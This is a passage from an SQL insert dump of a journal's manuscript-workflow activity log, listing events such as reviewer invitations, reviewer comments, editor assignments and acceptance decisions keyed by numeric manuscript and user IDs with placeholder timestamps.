Reviewer',8588,'Publisher',85),(81300,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81301,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81302,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81303,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81304,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81305,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81306,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8588,'Publisher',85),(81308,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81309,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81310,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81311,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81312,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81313,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81314,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81315,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81316,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81317,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81318,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81319,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8591,'Publisher',85),(81320,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81321,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81323,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81324,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81328,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81335,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81336,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81337,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8592,'Publisher',85),(81341,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8625,'Publisher',645),(81353,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8475,'Editor',1069),(81354,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8417,'Editor',1069),(81355,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8417,'Publisher',319),(81356,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8475,'Publisher',319),(81360,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81361,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81368,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81369,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81370,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81371,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81372,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81373,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81374,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81375,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81376,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81377,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81378,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81379,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81380,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81381,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81382,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81383,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81384,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8589,'Publisher',85),(81386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81389,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81390,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81391,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81392,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81393,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81394,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81395,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81396,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(81397,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81398,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81401,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81402,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81403,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81404,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81405,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81406,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81407,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81408,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81409,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81410,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81411,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81413,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81414,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8594,'Publisher',85),(81415,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81416,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81417,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81425,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8631,'Publisher',319),(81427,'0000-00-00 00:00:00','Reviewer has submitted comments',8593,'Reviewer',10962),(81435,'0000-00-00 00:00:00','Reviewer has submitted comments',8592,'Reviewer',18277),(81436,'0000-00-00 00:00:00','Reviewer has submitted comments',8592,'Reviewer',18277),(81437,'0000-00-00 00:00:00','Reviewer has submitted comments',8591,'Reviewer',18276),(81438,'0000-00-00 00:00:00','Reviewer has submitted comments',8591,'Reviewer',18276),(81439,'0000-00-00 00:00:00','Reviewer has submitted comments',8591,'Reviewer',18275),(81440,'0000-00-00 00:00:00','Reviewer has submitted comments',8591,'Reviewer',18275),(81441,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8633,'Author',9719),(81442,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8634,'Author',9720),(81445,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8436,'Publisher',75),(81447,'0000-00-00 00:00:00','Publisher : Notified Editor',8244,'Publisher',319),(81450,'0000-00-00 00:00:00','Publisher : Notified Editor',8591,'Publisher',85),(81451,'0000-00-00 00:00:00','Publisher : Notified Editor',8592,'Publisher',85),(81528,'0000-00-00 00:00:00','Publisher : Notified Editor',8389,'Publisher',984),(81529,'0000-00-00 00:00:00','Publisher : Notified Editor',8224,'Publisher',984),(81548,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8638,'Author',9724),(81604,'0000-00-00 00:00:00','Reviewer has submitted comments',8588,'Reviewer',17502),(81641,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8631,'Publisher',319),(81653,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8591,'Editor',1393),(81654,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8591,'Editor',1393),(81665,'0000-00-00 00:00:00','Publisher : Notified Editor',8174,'Publisher',85),(81666,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8174,'Editor',1675),(81668,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8174,'Publisher',85),(81669,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8174,'Publisher',85),(81713,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8435,'Publisher',48),(81726,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8660,'Author',9734),(81739,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8583,'Publisher',48),(81740,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8583,'Publisher',48),(81741,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8583,'Publisher',48),(81742,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8583,'Publisher',48),(81743,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8582,'Publisher',48),(81744,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8582,'Publisher',48),(81745,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8582,'Publisher',48),(81746,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8581,'Publisher',48),(81747,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8581,'Publisher',48),(81748,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8581,'Publisher',48),(81749,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8581,'Publisher',48),(81750,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8579,'Publisher',48),(81751,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8579,'Publisher',48),(81752,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8579,'Publisher',48),(81759,'0000-00-00 00:00:00','Publisher : Notified Editor',8588,'Publisher',85),(81760,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8588,'Editor',1574),(81761,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',8588,'Editor',1574),(81762,'0000-00-00 00:00:00','Publisher : Notified Author',8588,'Publisher',85),(81763,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8593,'Publisher',85),(81764,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81781,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8633,'Publisher',984),(81782,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8631,'Editor',1069),(81783,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8631,'Editor',1069),(81791,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8631,'Publisher',319),(81792,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8631,'Publisher',319),(81796,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8244,'Editor',1069),(81798,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8625,'Publisher',645),(81868,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8638,'Publisher',75),(81869,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8660,'Publisher',85),(81870,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81871,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81872,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81882,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81883,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8660,'Publisher',85),(81897,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8660,'Reviewer',16673),(81907,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8671,'Author',9743),(81911,'0000-00-00 00:00:00','Author sent Email',8429,'Author',9566),(81912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81921,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81922,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8513,'Publisher',85),(81928,'0000-00-00 00:00:00','Reviewer has submitted comments',8408,'Reviewer',15568),(81994,'0000-00-00 00:00:00','Publisher : Notified Editor',8170,'Publisher',984),(82008,'0000-00-00 00:00:00','Publisher : Notified Editor',8408,'Publisher',85),(82024,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8389,'Editor',1342),(82025,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8389,'Editor',1342),(82026,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8224,'Editor',1342),(82027,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8224,'Editor',1342),(82028,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8633,'Editor',1342),(82029,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8212,'Editor',1342),(82030,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8389,'Publisher',984),(82031,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8389,'Publisher',984),(82032,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8224,'Publisher',984),(82033,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8224,'Publisher',984),(82128,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8671,'Publisher',376),(82129,'0000-00-00 00:00:00','Reviewer has updated comments',8114,'Reviewer',17670),(82130,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8114,'Editor',1370),(82131,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8114,'Editor',1370),(82132,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8114,'Publisher',673),(82133,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8408,'Editor',203),(82134,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8408,'Editor',203),(82135,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8408,'Publisher',85),(82136,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8408,'Publisher',85),(82146,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8591,'Editor',1393),(82168,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8696,'Publisher',645),(82173,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8700,'Author',9772),(82175,'0000-00-00 00:00:00','Author sent Email',7843,'Author',7901),(82177,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8703,'Author',9774),(82178,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8704,'Author',9775),(82180,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8705,'Author',9777),(82183,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8707,'Author',9778),(82184,'0000-00-00 00:00:00','Author sent Email',8043,'Author',9222),(82194,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8449,'Publisher',248),(82195,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8449,'Publisher',248),(82196,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8449,'Publisher',248),(82207,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8244,'Publisher',319),(82208,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8244,'Publisher',319),(82209,'0000-00-00 00:00:00','Reviewer has submitted comments',8171,'Reviewer',17412),(82210,'0000-00-00 00:00:00','Reviewer has submitted comments',8202,'Reviewer',17412),(82211,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8202,'Editor',1452),(82212,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8171,'Editor',1452),(82213,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8598,'Editor',1452),(82214,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8596,'Editor',1452),(82215,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8598,'Editor',1452),(82216,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8596,'Editor',1452),(82217,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8202,'Publisher',376),(82218,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8171,'Publisher',376),(82221,'0000-00-00 00:00:00','Reviewer has submitted comments',8490,'Reviewer',13340),(82229,'0000-00-00 00:00:00','Publisher : Notified Editor',8490,'Publisher',85),(82230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82234,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82235,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82236,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82237,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82238,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82239,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82241,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82242,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82243,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82244,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82245,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82247,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',8521,'Reviewer',15181),(82308,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8704,'Publisher',48),(82320,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8490,'Editor',1675),(82321,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8490,'Editor',1675),(82322,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8707,'Publisher',274),(82323,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8705,'Publisher',274),(82329,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82330,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82331,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82332,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82333,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82334,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8704,'Publisher',48),(82335,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8490,'Publisher',85),(82340,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8634,'Publisher',84),(82341,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8700,'Publisher',84),(82342,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8703,'Publisher',84),(82343,'0000-00-00 00:00:00','Manuscript has been Revised',8588,'Author',6489),(82345,'0000-00-00 00:00:00','Author sent Email',8588,'Author',6489),(82378,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8729,'Author',9795),(82385,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82386,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82387,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82388,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82389,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82390,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82391,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82392,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82393,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82394,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82395,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82396,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82397,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82398,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8521,'Publisher',673),(82405,'0000-00-00 00:00:00','Reviewer has submitted comments',8173,'Reviewer',11689),(82406,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8173,'Publisher',48),(82407,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8519,'Editor',194),(82408,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8519,'Editor',194),(82411,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8519,'Editor',194),(82412,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8429,'Editor',194),(82413,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8429,'Editor',194),(82415,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8519,'Publisher',48),(82416,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8429,'Publisher',48),(82417,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8519,'Publisher',48),(82418,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8429,'Publisher',48),(82421,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8490,'Publisher',85),(82436,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8696,'Publisher',645),(82473,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8545,'Publisher',75),(82474,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8545,'Publisher',75),(82475,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8545,'Publisher',75),(82476,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8545,'Publisher',75),(82503,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82504,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82505,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82506,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82507,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82508,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8638,'Publisher',75),(82509,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8729,'Publisher',75),(82510,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6817,'Publisher',75),(82512,'0000-00-00 00:00:00','Author sent Email',6817,'Author',7918),(82528,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8738,'Publisher',645),(82533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(82534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(82535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8541,'Publisher',85),(82553,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8742,'Publisher',85),(82554,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(82555,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(82556,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(82557,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8595,'Publisher',85),(82558,'0000-00-00 00:00:00','Reviewer has submitted comments',8541,'Reviewer',12259),(82559,'0000-00-00 00:00:00','Publisher : Notified Editor',8541,'Publisher',85),(82565,'0000-00-00 00:00:00','Author sent Email',8460,'Author',9557),(82566,'0000-00-00 00:00:00','Reviewer has submitted comments',8595,'Reviewer',18291),(82567,'0000-00-00 00:00:00','Reviewer has updated comments',8595,'Reviewer',18291),(82569,'0000-00-00 00:00:00','Reviewer has submitted comments',8595,'Reviewer',18289),(82570,'0000-00-00 00:00:00','Reviewer has updated comments',8595,'Reviewer',18289),(82575,'0000-00-00 00:00:00','Manuscript has been Revised',8381,'Author',9102),(82577,'0000-00-00 00:00:00','Manuscript has been Revised',8442,'Author',9102),(82578,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8484,'Publisher',248),(82579,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8484,'Publisher',248),(82588,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8541,'Editor',1675),(82589,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8541,'Editor',1675),(82601,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8541,'Publisher',85),(82643,'0000-00-00 00:00:00','Publisher has been Assigned Editor',8742,'Publisher',85),(82645,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',8752,'Author',9814),(82653,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',8753,'Publisher',645),(82678,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82679,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8742,'Publisher',85),(82680,'0000-00-00 00:00:00','Publisher has Invited 